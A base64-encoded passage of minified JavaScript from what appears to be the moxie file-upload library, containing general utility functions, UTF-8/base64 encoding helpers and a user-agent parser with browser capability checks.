cmF5IjpyZXR1cm4gQXJyYXkucHJvdG90eXBlLnNsaWNlLmNhbGwoZSk7Y2FzZSJvYmplY3QiOnJldHVybiBhKHt9LGUpfXJldHVybiBlfShlKSksdm9pZChzKG9bdF0pPT09cyhlKSYmaT91KG4scixbb1t0XSxlXSk6b1t0XT1lKSl9KX0pLG99ZnVuY3Rpb24gYyhlLHQpe3ZhciBpLG4scjtpZihlKXt0cnl7aT1lLmxlbmd0aH1jYXRjaChlKXtpPXZvaWQgMH1pZih2b2lkIDA9PT1pfHwibnVtYmVyIiE9dHlwZW9mIGkpe2ZvcihuIGluIGUpaWYoZS5oYXNPd25Qcm9wZXJ0eShuKSYmITE9PT10KGVbbl0sbikpcmV0dXJufWVsc2UgZm9yKHI9MDtyPGk7cisrKWlmKCExPT09dChlW3JdLHIpKXJldHVybn19ZnVuY3Rpb24gbChlLHQpe2lmKHQpe2lmKEFycmF5LnByb3RvdHlwZS5pbmRleE9mKXJldHVybiBBcnJheS5wcm90b3R5cGUuaW5kZXhPZi5jYWxsKHQsZSk7Zm9yKHZhciBpPTAsbj10Lmxlbmd0aDtpPG47aSsrKWlmKHRbaV09PT1lKXJldHVybiBpfXJldHVybi0xfXZhciBuO3JldHVybntndWlkOihuPTAsZnVuY3Rpb24oZSl7dmFyIHQsaT0obmV3IERhdGUpLmdldFRpbWUoKS50b1N0cmluZygzMik7Zm9yKHQ9MDt0PDU7dCsrKWkrPU1hdGguZmxvb3IoNjU1MzUqTWF0aC5yYW5kb20oKSkudG9TdHJpbmcoMzIpO3JldHVybihlfHwib18iKStpKyhuKyspLnRvU3RyaW5nKDMyKX0pLHR5cGVPZjpzLGV4dGVuZDphLGV4dGVuZElmOmZ1bmN0aW9uKCl7cmV0dXJuIHUoITAsITEsYXJndW1lbnRzKX0sZXh0ZW5kSW1tdXRhYmxlOmZ1bmN0aW9uKCl7cmV0dXJuIHUoITEsITAsYXJndW1lbnRzKX0sZXh0ZW5kSW1tdXRhYmxlSWY6ZnVuY3Rpb24oKXtyZXR1cm4gdSghMCwhMCxhcmd1bWVudHMpfSxjbG9uZTpmdW5jdGlvbihlKXtzd2l0Y2gocyhlKSl7Y2FzZSJhcnJheSI6cmV0dXJuIHUoITEsITAsW1tdLGVdKTtjYXNlIm9iamVjdCI6cmV0dXJuIHUoITEsITAsW3t9LGVdKTtkZWZhdWx0OnJldHVybiBlfX0saW5oZXJpdDpmdW5jdGlvbihlLHQpe2Z1bmN0aW9uIGkoKXt0aGlzLmNvbnN0cnVjdG9yPWV9Zm9yKHZhciBuIGluIHQpKHt9KS5oYXNPd25Qcm9wZXJ0eS5jYWxsKHQsbikmJihlW25dPXRbbl0pO3JldHVybiBpLnByb3RvdHlwZT10LnByb3RvdHlwZSxlLnByb3RvdHlwZT1uZXcgaSxlLnBhcmVudD10LnByb3RvdHlwZSxlfSxlYWNoOmMsaXNFbXB0eU9iajpmdW5jdGlvbihlKXt2YXIgdDtpZighZXx8Im9iamVjdCIhPT1zKGUpKXJldHVybiEwO2Zvcih0IGluIGUpcmV0dXJuITE7cmV0dXJuITB9LGluU2VyaWVzOmZ1bmN0aW9uKGUsbil7dmFyIHI9ZS5sZW5ndGg7ImZ1bmN0aW9uIiE9PXMobikmJihuPWZ1bmN0aW9uKCl7fSksZSYmZS5sZW5ndGh8fG4oKSxmdW5jdGlvbiB0KGkpeyJmdW5jdGlvbiI9PT1zKGVbaV0pJiZlW2ldKGZ1bmN0aW9uKGUpeysraTxyJiYhZT90KGkpOm4oZSl9KX0oMCl9LGluUGFyYWxsZWw6ZnVuY3Rpb24oZSxuKXt2YXIgcj0wLG89ZS5sZW5ndGgscz1uZXcgQXJyYXkobyk7YyhlLGZ1bmN0aW9uKGUsaSl7ZShmdW5jdGlvbihlKXtpZihlKXJldHVybiBuKGUpO3ZhciB0PVtdLnNsaWNlLmNhbGwoYXJndW1lbnRzKTt0LnNoaWZ0KCksc1tpXT10LCsrcj09PW8mJihzLnVuc2hpZnQobnVsbCksbi5hcHBseSh0aGlzLHMpKX0pfSl9LGluQXJyYXk6bCxhcnJheURpZmY6ZnVuY3Rpb24oZSx0KXt2YXIgaT1bXTtmb3IodmFyIG4gaW4iYXJyYXkiIT09cyhlKSYmKGU9W2VdKSwiYXJyYXkiIT09cyh0KSYmKHQ9W3RdKSxlKS0xPT09bChlW25dLHQpJiZpLnB1c2goZVtuXSk7cmV0dXJuISFpLmxlbmd0aCYmaX0sYXJyYXlJbnRlcnNlY3Q6ZnVuY3Rpb24oZSx0KXt2YXIgaT1bXTtyZXR1cm4gYyhlLGZ1bmN0aW9uKGUpey0xIT09bChlLHQpJiZpLnB1c2goZSl9KSxpLmxlbmd0aD9pOm51bGx9LHRvQXJyYXk6ZnVuY3Rpb24oZSl7dmFyIHQsaT1bXTtmb3IodD0wO3Q8ZS5sZW5ndGg7dCsrKWlbdF09ZVt0XTtyZXR1cm4gaX0sdHJpbTpmdW5jdGlvbihlKXtyZXR1cm4gZT9TdHJpbmcucHJvdG90eXBlLnRyaW0/U3RyaW5nLnByb3RvdHlwZS50cmltLmNhbGwoZSk6ZS50b1N0cmluZygpLnJlcGxhY2UoL15ccyovLCIiKS5yZXBsYWNlKC9ccyokLywiIik6ZX0sc3ByaW50ZjpmdW5jdGlvbihlKXt2YXIgbj1bXS5zbGljZS5jYWxsKGFyZ3VtZW50cywxKTtyZXR1cm4gZS5yZXBsYWNlKC8lKFthLXpdKS9nLGZ1bmN0aW9uKGUsdCl7dmFyIGk9bi5zaGlmdCgpO3N3aXRjaCh0KXtjYXNlInMiOnJldHVybiBpKyIiO2Nhc2UiZCI6cmV0dXJuIHBhcnNlSW50KGksMTApO2Nhc2UiZiI6cmV0dXJuIHBhcnNlRmxvYXQoaSk7Y2FzZSJjIjpyZXR1cm4iIjtkZWZhdWx0OnJldHVybiBpfX0pfSxwYXJzZVNpemVTdHI6ZnVuY3Rpb24oZSl7aWYoInN0cmluZyIhPXR5cGVvZiBlKXJldHVybiBlO3ZhciB0LGk9e3Q6MTA5OTUxMTYyNzc3NixnOjEwNzM3NDE4MjQsbToxMDQ4NTc2LGs6MTAyNH07cmV0dXJuIHQ9KGU9L14oWzAtOVwuXSspKFt0bWdrXT8pJC8uZXhlYyhlLnRvTG93ZXJDYXNlKCkucmVwbGFjZSgvW14wLTlcLnRta2ddL2csIiIpKSlbMl0sZT0rZVsxXSxpLmhhc093blByb3BlcnR5KHQpJiYoZSo9aVt0XSksTWF0aC5mbG9vcihlKX0sZGVsYXk6ZnVuY3Rpb24oZSx0KXt2YXIgaT10aGlzO3NldFRpbWVvdXQoZnVuY3Rpb24oKXtlLmNhbGwoaSl9LHR8fDEpfX19KSxlKCJtb3hpZS9jb3JlL3V0aWxzL0VuY29kZSIsW10sZnVuY3Rpb24oKXt2YXIgcD1mdW5jdGlvbihlKXtyZXR1cm4gdW5lc2NhcGUoZW5jb2RlVVJJQ29tcG9uZW50KGUpKX0sbT1mdW5jdGlvbihlKXtyZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KGVzY2FwZShlKSl9O3JldHVybnt1dGY4X2VuY29kZTpwLHV0ZjhfZGVjb2RlOm0sYXRvYjpmdW5jdGlvbihlLHQpe2lmKCJmdW5jdGlvbiI9PXR5cGVvZiB3aW5kb3cuYXRvYilyZXR1cm4gdD9tKHdpbmRvdy5hdG9iKGUpKTp3aW5kb3cuYXRvYihlKTt2YXIgaSxuLHIsbyxzLGEsdSxjPSJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvPSIsbD0wLGQ9MCxoPVtdO2lmKCFlKXJldHVybiBlO2ZvcihlKz0iIjtpPTI1NSYoYT1jLmluZGV4T2YoZS5jaGFyQXQobCsrKSk8PDE4fGMuaW5kZXhPZihlLmNoYXJBdChsKyspKTw8MTJ8KG89Yy5pbmRleE9mKGUuY2hhckF0KGwrKykpKTw8Nnwocz1jLmluZGV4T2YoZS5jaGFyQXQobCsrKSkpKT4+MTYsbj0yNTUmYT4+OCxyPTI1NSZhLGhbZCsrXT02ND09bz9TdHJpbmcuZnJvbUNoYXJDb2RlKGkpOjY0PT1zP1N0cmluZy5mcm9tQ2hhckNvZGUoaSxuKTpTdHJpbmcuZnJvbUNoYXJDb2RlKGksbixyKSxsPGUubGVuZ3RoOyk7cmV0dXJuIHU9aC5qb2luKCIiKSx0P20odSk6dX0sYnRvYTpmdW5jdGlvbihlLHQpe2lmKHQmJihlPXAoZSkpLCJmdW5jdGlvbiI9PXR5cGVvZiB3aW5kb3cuYnRvYSlyZXR1cm4gd2luZG93LmJ0b2EoZSk7dmFyIGksbixyLG8scyxhPSJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvPSIsdT0wLGM9MCxsPSIiLGQ9W107aWYoIWUpcmV0dXJuIGU7Zm9yKDtpPTYzJihzPWUuY2hhckNvZGVBdCh1KyspPDwxNnxlLmNoYXJDb2RlQXQodSsrKTw8OHxlLmNoYXJDb2RlQXQodSsrKSk+PjE4LG49NjMmcz4+MTIscj02MyZzPj42LG89NjMmcyxkW2MrK109YS5jaGFyQXQoaSkrYS5jaGFyQXQobikrYS5jaGFyQXQocikrYS5jaGFyQXQobyksdTxlLmxlbmd0aDspO2w9ZC5qb2luKCIiKTt2YXIgaD1lLmxlbmd0aCUzO3JldHVybihoP2wuc2xpY2UoMCxoLTMpOmwpKyI9PT0iLnNsaWNlKGh8fDMpfX19KSxlKCJtb3hpZS9jb3JlL3V0aWxzL0VudiIsWyJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIl0sZnVuY3Rpb24oaSl7dmFyIGUsbixkLGgscCx0LHIsbyxzLGEsdSxjPShoPSJmdW5jdGlvbiIscD0ib2JqZWN0IixvPWZ1bmN0aW9uKGUsdCl7cmV0dXJuLTEhPT10LnRvTG93ZXJDYXNlKCkuaW5kZXhPZihlLnRvTG93ZXJDYXNlKCkpfSx1PXticm93c2VyOltbLyhvcGVyYVxzbWluaSlcLyhbXHdcLi1dKykvaSwvKG9wZXJhXHNbbW9iaWxldGFiXSspLit2ZXJzaW9uXC8oW1x3XC4tXSspL2ksLyhvcGVyYSkuK3ZlcnNpb25cLyhbXHdcLl0rKS9pLC8ob3BlcmEpW1wvXHNdKyhbXHdcLl0rKS9pXSxbdD0ibmFtZSIscj0idmVyc2lvbiJdLFsvXHMob3ByKVwvKFtcd1wuXSspL2ldLFtbdCwiT3BlcmEiXSxyXSxbLyhraW5kbGUpXC8oW1x3XC5dKykvaSwvKGx1bmFzY2FwZXxtYXh0aG9ufG5ldGZyb250fGphc21pbmV8YmxhemVyKVtcL1xzXT8oW1x3XC5dKykqL2ksLyhhdmFudFxzfGllbW9iaWxlfHNsaW18YmFpZHUpKD86YnJvd3Nlcik/W1wvXHNdPyhbXHdcLl0qKS9pLC8oPzptc3xcKCkoaWUpXHMoW1x3XC5dKykvaSwvKHJla29ucSlcLyhbXHdcLl0rKSovaSwvKGNocm9taXVtfGZsb2NrfHJvY2ttZWx0fG1pZG9yaXxlcGlwaGFueXxzaWxrfHNreWZpcmV8b3ZpYnJvd3Nlcnxib2x0fGlyb258dml2YWxkaSlcLyhbXHdcLi1dKykvaV0sW3Qscl0sWy8odHJpZGVudCkuK3J2Wzpcc10oW1x3XC5dKykuK2xpa2Vcc2dlY2tvL2ldLFtbdCwiSUUiXSxyXSxbLyhlZGdlKVwvKChcZCspP1tcd1wuXSspL2ldLFt0LHJdLFsvKHlhYnJvd3NlcilcLyhbXHdcLl0rKS9pXSxbW3QsIllhbmRleCJdLHJdLFsvKGNvbW9kb19kcmFnb24pXC8oW1x3XC5dKykvaV0sW1t0LC9fL2csIiAiXSxyXSxbLyhjaHJvbWV8b21uaXdlYnxhcm9yYXxbdGl6ZW5va2FdezV9XHM/YnJvd3NlcilcL3Y/KFtcd1wuXSspL2ksLyh1Y1xzP2Jyb3dzZXJ8cXFicm93c2VyKVtcL1xzXT8oW1x3XC5dKykvaV0sW3Qscl0sWy8oZG9sZmluKVwvKFtcd1wuXSspL2ldLFtbdCwiRG9scGhpbiJdLHJdLFsvKCg/OmFuZHJvaWQuKyljcm1vfGNyaW9zKVwvKFtcd1wuXSspL2ldLFtbdCwiQ2hyb21lIl0scl0sWy9YaWFvTWlcL01pdWlCcm93c2VyXC8oW1x3XC5dKykvaV0sW3IsW3QsIk1JVUkgQnJvd3NlciJdXSxbL2FuZHJvaWQuK3ZlcnNpb25cLyhbXHdcLl0rKVxzKyg/Om1vYmlsZVxzP3NhZmFyaXxzYWZhcmkpL2ldLFtyLFt0LCJBbmRyb2lkIEJyb3dzZXIiXV0sWy9GQkFWXC8oW1x3XC5dKyk7L2ldLFtyLFt0LCJGYWNlYm9vayJdXSxbL3ZlcnNpb25cLyhbXHdcLl0rKS4rP21vYmlsZVwvXHcrXHMoc2FmYXJpKS9pXSxbcixbdCwiTW9iaWxlIFNhZmFyaSJdXSxbL3ZlcnNpb25cLyhbXHdcLl0rKS4rPyhtb2JpbGVccz9zYWZhcml8c2FmYXJpKS9pXSxbcix0XSxbL3dlYmtpdC4rPyhtb2JpbGVccz9zYWZhcml8c2FmYXJpKShcL1tcd1wuXSspL2ldLFt0LFtyLChzPXtyZ3g6ZnVuY3Rpb24oKXtmb3IodmFyIGUsdCxpLG4scixvLHMsYT0wLHU9YXJndW1lbnRzO2E8dS5sZW5ndGg7YSs9Mil7dmFyIGM9dVthXSxsPXVbYSsxXTtpZih2b2lkIDA9PT1lKWZvcihuIGluIGU9e30sbCl0eXBlb2Yocj1sW25dKT09cD9lW3JbMF1dPWQ6ZVtyXT1kO2Zvcih0PWk9MDt0PGMubGVuZ3RoO3QrKylpZihvPWNbdF0uZXhlYyh0aGlzLmdldFVBKCkpKXtmb3Iobj0wO248bC5sZW5ndGg7bisrKXM9b1srK2ldLHR5cGVvZihyPWxbbl0pPT1wJiYwPHIubGVuZ3RoPzI9PXIubGVuZ3RoP2VbclswXV09dHlwZW9mIHJbMV09PWg/clsxXS5jYWxsKHRoaXMscyk6clsxXTozPT1yLmxlbmd0aD9lW3JbMF1dPXR5cGVvZiByWzFdIT1ofHxyWzFdLmV4ZWMmJnJbMV0udGVzdD9zP3MucmVwbGFjZShyWzFdLHJbMl0pOmQ6cz9yWzFdLmNhbGwodGhpcyxzLHJbMl0pOmQ6ND09ci5sZW5ndGgmJihlW3JbMF1dPXM/clszXS5jYWxsKHRoaXMscy5yZXBsYWNlKHJbMV0sclsyXSkpOmQpOmVbcl09c3x8ZDticmVha31pZihvKWJyZWFrfXJldHVybiBlfSxzdHI6ZnVuY3Rpb24oZSx0KXtmb3IodmFyIGkgaW4gdClpZih0eXBlb2YgdFtpXT09cCYmMDx0W2ldLmxlbmd0aCl7Zm9yKHZhciBuPTA7bjx0W2ldLmxlbmd0aDtuKyspaWYobyh0W2ldW25dLGUpKXJldHVybiI/Ij09PWk/ZDppfWVsc2UgaWYobyh0W2ldLGUpKXJldHVybiI/Ij09PWk/ZDppO3JldHVybiBlfX0pLnN0ciwoYT17YnJvd3Nlcjp7b2xkc2FmYXJpOnttYWpvcjp7MTpbIi84IiwiLzEiLCIvMyJdLDI6Ii80IiwiPyI6Ii8ifSx2ZXJzaW9uOnsiMS4wIjoiLzgiLDEuMjoiLzEiLDEuMzoiLzMiLCIyLjAiOiIvNDEyIiwiMi4wLjIiOiIvNDE2IiwiMi4wLjMiOiIvNDE3IiwiMi4wLjQiOiIvNDE5IiwiPyI6Ii8ifX19LGRldmljZTp7c3ByaW50Onttb2RlbDp7IkV2byBTaGlmdCA0RyI6IjczNzNLVCJ9LHZlbmRvcjp7SFRDOiJBUEEiLFNwcmludDoiU3ByaW50In19fSxvczp7d2luZG93czp7dmVyc2lvbjp7TUU6IjQuOTAiLCJOVCAzLjExIjoiTlQzLjUxIiwiTlQgNC4wIjoiTlQ0LjAiLDJlMzoiTlQgNS4wIixYUDpbIk5UIDUuMSIsIk5UIDUuMiJdLFZpc3RhOiJOVCA2LjAiLDc6Ik5UIDYuMSIsODoiTlQgNi4yIiw4LjE6Ik5UIDYuMyIsUlQ6IkFSTSJ9fX19KS5icm93c2VyLm9sZHNhZmFyaS52ZXJzaW9uXV0sWy8oa29ucXVlcm9yKVwvKFtcd1wuXSspL2ksLyh3ZWJraXR8a2h0bWwpXC8oW1x3XC5dKykvaV0sW3Qscl0sWy8obmF2aWdhdG9yfG5ldHNjYXBlKVwvKFtcd1wuLV0rKS9pXSxbW3QsIk5ldHNjYXBlIl0scl0sWy8oc3dpZnRmb3gpL2ksLyhpY2VkcmFnb258aWNld2Vhc2VsfGNhbWlub3xjaGltZXJhfGZlbm5lY3xtYWVtb1xzYnJvd3NlcnxtaW5pbW98Y29ua2Vyb3IpW1wvXHNdPyhbXHdcLlwrXSspL2ksLyhmaXJlZm94fHNlYW1vbmtleXxrLW1lbGVvbnxpY2VjYXR8aWNlYXBlfGZpcmViaXJkfHBob2VuaXgpXC8oW1x3XC4tXSspL2ksLyhtb3ppbGxhKVwvKFtcd1wuXSspLitydlw6LitnZWNrb1wvXGQrL2ksLyhwb2xhcmlzfGx5bnh8ZGlsbG98aWNhYnxkb3Jpc3xhbWF5YXx3M218bmV0c3VyZilbXC9cc10/KFtcd1wuXSspL2ksLyhsaW5rcylcc1woKFtcd1wuXSspL2ksLyhnb2Jyb3dzZXIpXC8/KFtcd1wuXSspKi9pLC8oaWNlXHM/YnJvd3NlcilcL3Y/KFtcd1wuX10rKS9pLC8obW9zYWljKVtcL1xzXShbXHdcLl0rKS9pXSxbdCxyXV0sZW5naW5lOltbL3dpbmRvd3MuK1xzZWRnZVwvKFtcd1wuXSspL2ldLFtyLFt0LCJFZGdlSFRNTCJdXSxbLyhwcmVzdG8pXC8oW1x3XC5dKykvaSwvKHdlYmtpdHx0cmlkZW50fG5ldGZyb250fG5ldHN1cmZ8YW1heWF8bHlueHx3M20pXC8oW1x3XC5dKykvaSwvKGtodG1sfHRhc21hbnxsaW5rcylbXC9cc11cKD8oW1x3XC5dKykvaSwvKGljYWIpW1wvXHNdKFsyM11cLltcZFwuXSspL2ldLFt0LHJdLFsvcnZcOihbXHdcLl0rKS4qKGdlY2tvKS9pXSxbcix0XV0sb3M6W1svbWljcm9zb2Z0XHMod2luZG93cylccyh2aXN0YXx4cCkvaV0sW3Qscl0sWy8od2luZG93cylcc250XHM2XC4yO1xzKGFybSkvaSwvKHdpbmRvd3Ncc3Bob25lKD86XHNvcykqfHdpbmRvd3Ncc21vYmlsZXx3aW5kb3dzKVtcc1wvXT8oW250Y2VcZFwuXHNdK1x3KS9pXSxbdCxbcixzLnN0cixhLm9zLndpbmRvd3MudmVyc2lvbl1dLFsvKHdpbig/PTN8OXxuKXx3aW5cczl4XHMpKFtudFxkXC5dKykvaV0sW1t0LCJXaW5kb3dzIl0sW3Iscy5zdHIsYS5vcy53aW5kb3dzLnZlcnNpb25dXSxbL1woKGJiKSgxMCk7L2ldLFtbdCwiQmxhY2tCZXJyeSJdLHJdLFsvKGJsYWNrYmVycnkpXHcqXC8/KFtcd1wuXSspKi9pLC8odGl6ZW4pW1wvXHNdKFtcd1wuXSspL2ksLyhhbmRyb2lkfHdlYm9zfHBhbG1cb3N8cW54fGJhZGF8cmltXHN0YWJsZXRcc29zfG1lZWdvfGNvbnRpa2kpW1wvXHMtXT8oW1x3XC5dKykqL2ksL2xpbnV4Oy4rKHNhaWxmaXNoKTsvaV0sW3Qscl0sWy8oc3ltYmlhblxzP29zfHN5bWJvc3xzNjAoPz07KSlbXC9ccy1dPyhbXHdcLl0rKSovaV0sW1t0LCJTeW1iaWFuIl0scl0sWy9cKChzZXJpZXM0MCk7L2ldLFt0XSxbL21vemlsbGEuK1wobW9iaWxlOy4rZ2Vja28uK2ZpcmVmb3gvaV0sW1t0LCJGaXJlZm94IE9TIl0scl0sWy8obmludGVuZG98cGxheXN0YXRpb24pXHMoW3dpZHMzcG9ydGFibGV2dV0rKS9pLC8obWludClbXC9cc1woXT8oXHcrKSovaSwvKG1hZ2VpYXx2ZWN0b3JsaW51eClbO1xzXS9pLC8oam9saXxba3hsbl0/dWJ1bnR1fGRlYmlhbnxbb3Blbl0qc3VzZXxnZW50b298YXJjaHxzbGFja3dhcmV8ZmVkb3JhfG1hbmRyaXZhfGNlbnRvc3xwY2xpbnV4b3N8cmVkaGF0fHplbndhbGt8bGlucHVzKVtcL1xzLV0/KFtcd1wuLV0rKSovaSwvKGh1cmR8bGludXgpXHM/KFtcd1wuXSspKi9pLC8oZ251KVxzPyhbXHdcLl0rKSovaV0sW3Qscl0sWy8oY3Jvcylcc1tcd10rXHMoW1x3XC5dK1x3KS9pXSxbW3QsIkNocm9taXVtIE9TIl0scl0sWy8oc3Vub3MpXHM/KFtcd1wuXStcZCkqL2ldLFtbdCwiU29sYXJpcyJdLHJdLFsvXHMoW2ZyZW50b3BjLV17MCw0fWJzZHxkcmFnb25mbHkpXHM/KFtcd1wuXSspKi9pXSxbdCxyXSxbLyhpcFtob25lYWRdKykoPzouKm9zXHMqKFtcd10rKSpcc2xpa2Vcc21hY3w7XHNvcGVyYSkvaV0sW1t0LCJpT1MiXSxbciwvXy9nLCIuIl1dLFsvKG1hY1xzb3Ncc3gpXHM/KFtcd1xzXC5dK1x3KSovaSwvKG1hY2ludG9zaHxtYWMoPz1fcG93ZXJwYylccykvaV0sW1t0LCJNYWMgT1MiXSxbciwvXy9nLCIuIl1dLFsvKCg/Om9wZW4pP3NvbGFyaXMpW1wvXHMtXT8oW1x3XC5dKykqL2ksLyhoYWlrdSlccyhcdyspL2ksLyhhaXgpXHMoKFxkKSg/PVwufFwpfFxzKVtcd1wuXSopKi9pLC8ocGxhblxzOXxtaW5peHxiZW9zfG9zXC8yfGFtaWdhb3N8bW9ycGhvc3xyaXNjXHNvc3xvcGVudm1zKS9pLC8odW5peClccz8oW1x3XC5dKykqL2ldLFt0LHJdXX0sZnVuY3Rpb24oZSl7dmFyIHQ9ZXx8KHdpbmRvdyYmd2luZG93Lm5hdmlnYXRvciYmd2luZG93Lm5hdmlnYXRvci51c2VyQWdlbnQ/d2luZG93Lm5hdmlnYXRvci51c2VyQWdlbnQ6IiIpO3RoaXMuZ2V0QnJvd3Nlcj1mdW5jdGlvbigpe3JldHVybiBzLnJneC5hcHBseSh0aGlzLHUuYnJvd3Nlcil9LHRoaXMuZ2V0RW5naW5lPWZ1bmN0aW9uKCl7cmV0dXJuIHMucmd4LmFwcGx5KHRoaXMsdS5lbmdpbmUpfSx0aGlzLmdldE9TPWZ1bmN0aW9uKCl7cmV0dXJuIHMucmd4LmFwcGx5KHRoaXMsdS5vcyl9LHRoaXMuZ2V0UmVzdWx0PWZ1bmN0aW9uKCl7cmV0dXJue3VhOnRoaXMuZ2V0VUEoKSxicm93c2VyOnRoaXMuZ2V0QnJvd3NlcigpLGVuZ2luZTp0aGlzLmdldEVuZ2luZSgpLG9zOnRoaXMuZ2V0T1MoKX19LHRoaXMuZ2V0VUE9ZnVuY3Rpb24oKXtyZXR1cm4gdH0sdGhpcy5zZXRVQT1mdW5jdGlvbihlKXtyZXR1cm4gdD1lLHRoaXN9LHRoaXMuc2V0VUEodCl9KSxsPShuPXthY2Nlc3NfZ2xvYmFsX25zOmZ1bmN0aW9uKCl7cmV0dXJuISF3aW5kb3cubW94aWV9LGRlZmluZV9wcm9wZXJ0eTohMSxjcmVhdGVfY2FudmFzOmZ1bmN0aW9uKCl7dmFyIGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiY2FudmFzIiksdD0hKCFlLmdldENvbnRleHR8fCFlLmdldENvbnRleHQoIjJkIikpO3JldHVybiBuLmNyZWF0ZV9jYW52YXM9dH0scmV0dXJuX3Jlc3BvbnNlX3R5cGU6ZnVuY3Rpb24oZSl7dHJ5e2lmKC0xIT09aS5pbkFycmF5KGUsWyIiLCJ0ZXh0IiwiZG9jdW1lbnQiXSkpcmV0dXJuITA7aWYod2luZG93LlhNTEh0dHBSZXF1ZXN0KXt2YXIgdD1uZXcgWE1MSHR0cFJlcXVlc3Q7aWYodC5vcGVuKCJnZXQiLCIvIiksInJlc3BvbnNlVHlwZSJpbiB0KXJldHVybiB0LnJlc3BvbnNlVHlwZT1lLHQucmVzcG9uc2VUeXBlPT09ZX19Y2F0Y2goZSl7fXJldHVybiExfSx1c2VfYmxvYl91cmk6ZnVuY3Rpb24oKXt2YXIgZT13aW5kb3cuVVJMO3JldHVybiBuLnVzZV9ibG9iX3VyaT1lJiYiY3JlYXRlT2JqZWN0VVJMImluIGUmJiJyZXZva2VPYmplY3RVUkwiaW4gZSYmKCJJRSIhPT1mLmJyb3dzZXJ8fGYudmVyQ29tcChmLnZlcnNpb24sIjExLjAuNDYiLCI+PSIpKSxuLnVzZV9ibG9iX3VyaX0sdXNlX2RhdGFfdXJpOihlPW5ldyBJbWFnZSxlLm9ubG9hZD1mdW5jdGlvbigpe24udXNlX2RhdGFfdXJpPTE9PT1lLndpZHRoJiYxPT09ZS5oZWlnaHR9LHNldFRpbWVvdXQoZnVuY3Rpb24oKXtlLnNyYz0iZGF0YTppbWFnZS9naWY7YmFzZTY0LFIwbEdPRGxoQVFBQkFJQUFBUDhBQUFBQUFDSDVCQUFBQUFBQUxBQUFBQUFCQUFFQUFBSUNSQUVBT3c9PSJ9LDEpLCExKSx1c2VfZGF0YV91cmlfb3ZlcjMya2I6ZnVuY3Rpb24oKXtyZXR1cm4gbi51c2VfZGF0YV91cmkmJigiSUUiIT09Zi5icm93c2VyfHw5PD1mLnZlcnNpb24pfSx1c2VfZGF0YV91cmlfb2Y6ZnVuY3Rpb24oZSl7cmV0dXJuIG4udXNlX2RhdGFfdXJpJiZlPDMzZTN8fG4udXNlX2RhdGFfdXJpX292ZXIzMmtiKCl9LHVzZV9maWxlaW5wdXQ6ZnVuY3Rpb24oKXtpZihuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC8oQW5kcm9pZCAoMS4wfDEuMXwxLjV8MS42fDIuMHwyLjEpKXwoV2luZG93cyBQaG9uZSAoT1MgN3w4LjApKXwoWEJMV1ApfChadW5lV1ApfCh3KGViKT9PU0Jyb3dzZXIpfCh3ZWJPUyl8KEtpbmRsZVwvKDEuMHwyLjB8Mi41fDMuMCkpLykpcmV0dXJuITE7dmFyIGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW5wdXQiKTtyZXR1cm4gZS5zZXRBdHRyaWJ1dGUoInR5cGUiLCJmaWxlIiksbi51c2VfZmlsZWlucHV0PSFlLmRpc2FibGVkfSx1c2Vfd2ViZ2w6ZnVuY3Rpb24oKXt2YXIgZSx0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLGk9bnVsbDt0cnl7aT10LmdldENvbnRleHQoIndlYmdsIil8fHQuZ2V0Q29udGV4dCgiZXhwZXJpbWVudGFsLXdlYmdsIil9Y2F0Y2goZSl7fXJldHVybiBpfHwoaT1udWxsKSxlPSEhaSxuLnVzZV93ZWJnbD1lLHQ9eSxlfX0sZnVuY3Rpb24oZSl7dmFyIHQ9W10uc2xpY2UuY2FsbChhcmd1bWVudHMpO3JldHVybiB0LnNoaWZ0KCksImZ1bmN0aW9uIj09PWkudHlwZU9mKG5bZV0pP25bZV0uYXBwbHkodGhpcyx0KTohIW5bZV19KSxtPShuZXcgYykuZ2V0UmVzdWx0KCksZj17Y2FuOmwsdWFQYXJzZXI6Yyxicm93c2VyOm0uYnJvd3Nlci5uYW1lLHZlcnNpb246bS5icm93c2VyLnZlcnNpb24sb3M6bS5vcy5uYW1lLG9zVmVyc2lvbjptLm9zLnZlcnNpb24sdmVyQ29tcDpmdW5jdGlvbihlLHQsaSl7dmFyIG4scj0wLG89MCxzPXtkZXY6LTYsYWxwaGE6LTUsYTotNSxiZXRhOi00LGI6LTQsUkM6LTMscmM6LTMsIiMiOi0yLHA6MSxwbDoxfSxhPWZ1bmN0aW9uKGUpe3JldHVybihlPShlPSgiIitlKS5yZXBsYWNlKC9bX1wtK10vZywiLiIpKS5yZXBsYWNlKC8oW14uXGRdKykvZywiLiQxLiIpLnJlcGxhY2UoL1wuezIsfS9nLCIuIikpLmxlbmd0aD9lLnNwbGl0KCIuIik6Wy04XX0sdT1mdW5jdGlvbihlKXtyZXR1cm4gZT9pc05hTihlKT9zW2VdfHwtNzpwYXJzZUludChlLDEwKTowfTtmb3IoZT1hKGUpLHQ9YSh0KSxuPU1hdGgubWF4KGUubGVuZ3RoLHQubGVuZ3RoKSxyPTA7cjxuO3IrKylpZihlW3JdIT10W3JdKXtpZihlW3JdPXUoZVtyXSksdFtyXT11KHRbcl0pLGVbcl08dFtyXSl7bz0tMTticmVha31pZihlW3JdPnRbcl0pe289MTticmVha319aWYoIWkpcmV0dXJuIG87c3dpdGNoKGkpe2Nhc2UiPiI6Y2FzZSJndCI6cmV0dXJuIDA8bztjYXNlIj49IjpjYXNlImdlIjpyZXR1cm4gMDw9bztjYXNlIjw9IjpjYXNlImxlIjpyZXR1cm4gbzw9MDtjYXNlIj09IjpjYXNlIj0iOmNhc2UiZXEiOnJldHVybiAwPT09bztjYXNlIjw+IjpjYXNlIiE9IjpjYXNlIm5lIjpyZXR1cm4gMCE9PW87Y2FzZSIiOmNhc2UiPCI6Y2FzZSJsdCI6cmV0dXJuIG88MDtkZWZhdWx0OnJldHVybiBudWxsfX0sc3dmX3VybDoiLi4vZmxhc2gvTW94aWUuc3dmIix4YXBfdXJsOiIuLi9zaWx2ZXJsaWdodC9Nb3hpZS54YXAiLGdsb